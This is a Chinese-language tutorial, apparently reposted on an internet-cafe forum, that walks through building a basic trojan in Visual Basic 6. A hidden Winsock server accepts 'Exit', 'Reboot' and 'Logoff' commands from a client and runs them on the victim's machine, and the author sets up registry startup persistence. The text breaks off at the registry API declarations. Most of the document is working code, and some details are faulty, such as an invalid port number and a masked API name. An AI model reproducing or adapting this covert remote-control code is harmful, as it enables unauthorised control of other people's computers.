首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。
接下来我们回来Server窗体模块中,添加如下代码:
Private Sub form_Load()
With Me
.sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)
.sckServer.Listen '开始监听
End With
End Sub
'接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。
.sckClient.RemotePort = 88917 '远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只实现一点小小的功能―――关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的Client窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub
Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub
Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
' 接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
'关机
Call ExitWindowXXX(EWX_SHUTDOWN, 0)
Case "Reboot"
'重启
Call ExitWindowXXX(EWX_REBOOT, 0)
Case "Logoff"
'注销
Call ExitWindowXXX(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com |
关注天下网吧微信,了解网吧网咖经营管理,安装维护:
本文来源:赛迪网 作者:佚名